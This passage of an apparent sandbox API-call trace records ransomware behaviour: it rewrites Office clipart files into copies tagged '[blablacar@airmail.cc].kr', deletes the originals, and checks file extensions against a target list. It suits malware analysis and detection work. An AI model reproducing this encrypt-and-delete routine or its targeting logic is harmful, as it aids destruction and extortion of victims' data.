lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0206.718] SetEndOfFile (hFile=0x554) returned 1 [0206.718] CloseHandle (hObject=0x554) returned 1 [0206.718] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.718] SetEndOfFile (hFile=0x518) returned 1 [0206.720] CloseHandle (hObject=0x518) returned 1 [0206.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0206.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.722] lstrlenW (lpString=".doc") returned 4 [0206.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.722] lstrlenW (lpString=".docx") returned 5 [0206.722] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.722] lstrlenW (lpString=".pdf") returned 4 [0206.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.722] lstrlenW (lpString=".xls") returned 4 [0206.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.723] lstrlenW (lpString=".xlsx") returned 5 [0206.723] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.723] lstrlenW (lpString=".ppt") returned 4 [0206.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.723] lstrlenW (lpString=".zip") returned 4 [0206.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.723] lstrlenW (lpString=".rar") returned 4 [0206.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.723] lstrlenW (lpString=".bz2") returned 4 [0206.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.723] lstrlenW (lpString=".7z") returned 3 [0206.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.723] lstrlenW (lpString=".dbf") returned 4 [0206.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.723] lstrlenW (lpString=".1cd") returned 4 [0206.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.723] lstrlenW (lpString=".jpg") returned 4 [0206.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.723] lstrlenW (lpString=".doc") returned 4 [0206.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.723] lstrlenW (lpString=".docx") returned 5 [0206.723] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.723] lstrlenW (lpString=".pdf") returned 4 [0206.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.724] lstrlenW (lpString=".xls") returned 4 [0206.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.724] lstrlenW (lpString=".xlsx") returned 5 [0206.724] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.724] lstrlenW (lpString=".ppt") returned 4 [0206.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.724] lstrlenW (lpString=".zip") returned 4 [0206.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.725] lstrlenW (lpString=".rar") returned 4 [0206.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.725] lstrlenW (lpString=".bz2") returned 4 [0206.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.725] lstrlenW (lpString=".7z") returned 3 [0206.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.726] lstrlenW (lpString=".dbf") returned 4 [0206.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.726] lstrlenW (lpString=".1cd") returned 4 [0206.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0206.726] lstrlenW (lpString=".jpg") returned 4 [0206.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.726] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.726] lstrlenW (lpString="J0105380.WMF") returned 12 [0206.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0206.729] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4624) returned 1 [0206.729] CloseHandle (hObject=0x518) returned 1 [0206.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0206.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0206.729] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.729] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.323] GetLastError () returned 0x0 [0207.323] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1210, lpOverlapped=0x0) returned 1 [0207.324] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1220, lpOverlapped=0x0) returned 1 [0207.325] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0207.325] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0207.325] SetEndOfFile (hFile=0x574) returned 1 [0207.326] CloseHandle (hObject=0x574) returned 1 [0207.326] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.326] SetEndOfFile (hFile=0x518) returned 1 [0207.329] CloseHandle (hObject=0x518) returned 1 [0207.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0207.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.330] lstrlenW (lpString=".doc") returned 4 [0207.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.330] lstrlenW (lpString=".docx") returned 5 [0207.330] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0207.330] lstrlenW (lpString=".pdf") returned 4 [0207.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.330] lstrlenW (lpString=".xls") returned 4 [0207.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.330] lstrlenW (lpString=".xlsx") returned 5 [0207.330] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0207.330] lstrlenW (lpString=".ppt") returned 4 [0207.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.330] lstrlenW (lpString=".zip") returned 4 [0207.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.330] lstrlenW (lpString=".rar") returned 4 [0207.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.330] lstrlenW (lpString=".bz2") returned 4 [0207.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString=".7z") returned 3 [0207.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.331] lstrlenW (lpString=".dbf") returned 4 [0207.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.331] lstrlenW (lpString=".1cd") returned 4 [0207.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.331] lstrlenW (lpString=".jpg") returned 4 [0207.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.331] lstrlenW (lpString=".doc") returned 4 [0207.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString=".docx") returned 5 [0207.331] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0207.331] lstrlenW (lpString=".pdf") returned 4 [0207.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString=".xls") returned 4 [0207.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.331] lstrlenW (lpString=".xlsx") returned 5 [0207.331] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0207.331] lstrlenW (lpString=".ppt") returned 4 [0207.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.331] lstrlenW (lpString=".zip") returned 4 [0207.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.331] lstrlenW (lpString=".rar") returned 4 [0207.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.331] lstrlenW (lpString=".bz2") returned 4 [0207.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.332] lstrlenW (lpString=".7z") returned 3 [0207.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.332] lstrlenW (lpString=".dbf") returned 4 [0207.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.332] lstrlenW (lpString=".1cd") returned 4 [0207.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0207.332] lstrlenW (lpString=".jpg") returned 4 [0207.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.332] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.332] lstrlenW (lpString="J0105502.WMF") returned 12 [0207.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0207.333] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5472) returned 1 [0207.333] CloseHandle (hObject=0x518) returned 1 [0207.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0207.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0207.333] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.333] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.334] GetLastError () returned 0x0 [0207.334] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1560, lpOverlapped=0x0) returned 1 [0207.336] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1570, lpOverlapped=0x0) returned 1 [0207.337] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0207.337] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0207.337] SetEndOfFile (hFile=0x574) returned 1 [0207.337] CloseHandle (hObject=0x574) returned 1 [0207.337] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.337] SetEndOfFile (hFile=0x518) returned 1 [0207.340] CloseHandle (hObject=0x518) returned 1 [0207.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0207.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.342] lstrlenW (lpString=".doc") returned 4 [0207.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.342] lstrlenW (lpString=".docx") returned 5 [0207.342] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0207.342] lstrlenW (lpString=".pdf") returned 4 [0207.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.342] lstrlenW (lpString=".xls") returned 4 [0207.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.342] lstrlenW (lpString=".xlsx") returned 5 [0207.342] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0207.342] lstrlenW (lpString=".ppt") returned 4 [0207.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.342] lstrlenW (lpString=".zip") returned 4 [0207.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.342] lstrlenW (lpString=".rar") returned 4 [0207.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.342] lstrlenW (lpString=".bz2") returned 4 [0207.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.342] lstrlenW (lpString=".7z") returned 3 [0207.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.342] lstrlenW (lpString=".dbf") returned 4 [0207.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.343] lstrlenW (lpString=".1cd") returned 4 [0207.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.343] lstrlenW (lpString=".jpg") returned 4 [0207.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.343] lstrlenW (lpString=".doc") returned 4 [0207.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString=".docx") returned 5 [0207.343] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0207.343] lstrlenW (lpString=".pdf") returned 4 [0207.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString=".xls") returned 4 [0207.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.343] lstrlenW (lpString=".xlsx") returned 5 [0207.343] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0207.343] lstrlenW (lpString=".ppt") returned 4 [0207.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.343] lstrlenW (lpString=".zip") returned 4 [0207.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.343] lstrlenW (lpString=".rar") returned 4 [0207.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString=".bz2") returned 4 [0207.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString=".7z") returned 3 [0207.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.343] lstrlenW (lpString=".dbf") returned 4 [0207.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.344] lstrlenW (lpString=".1cd") returned 4 [0207.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0207.344] lstrlenW (lpString=".jpg") returned 4 [0207.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.344] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.344] lstrlenW (lpString="J0105504.WMF") returned 12 [0207.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0207.345] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4148) returned 1 [0207.345] CloseHandle (hObject=0x518) returned 1 [0207.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0207.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0207.346] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.346] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.347] GetLastError () returned 0x0 [0207.347] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1034, lpOverlapped=0x0) returned 1 [0207.348] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1040, lpOverlapped=0x0) returned 1 [0207.349] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0207.350] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0207.350] SetEndOfFile (hFile=0x574) returned 1 [0207.350] CloseHandle (hObject=0x574) returned 1 [0207.350] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.350] SetEndOfFile (hFile=0x518) returned 1 [0207.352] CloseHandle (hObject=0x518) returned 1 [0207.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 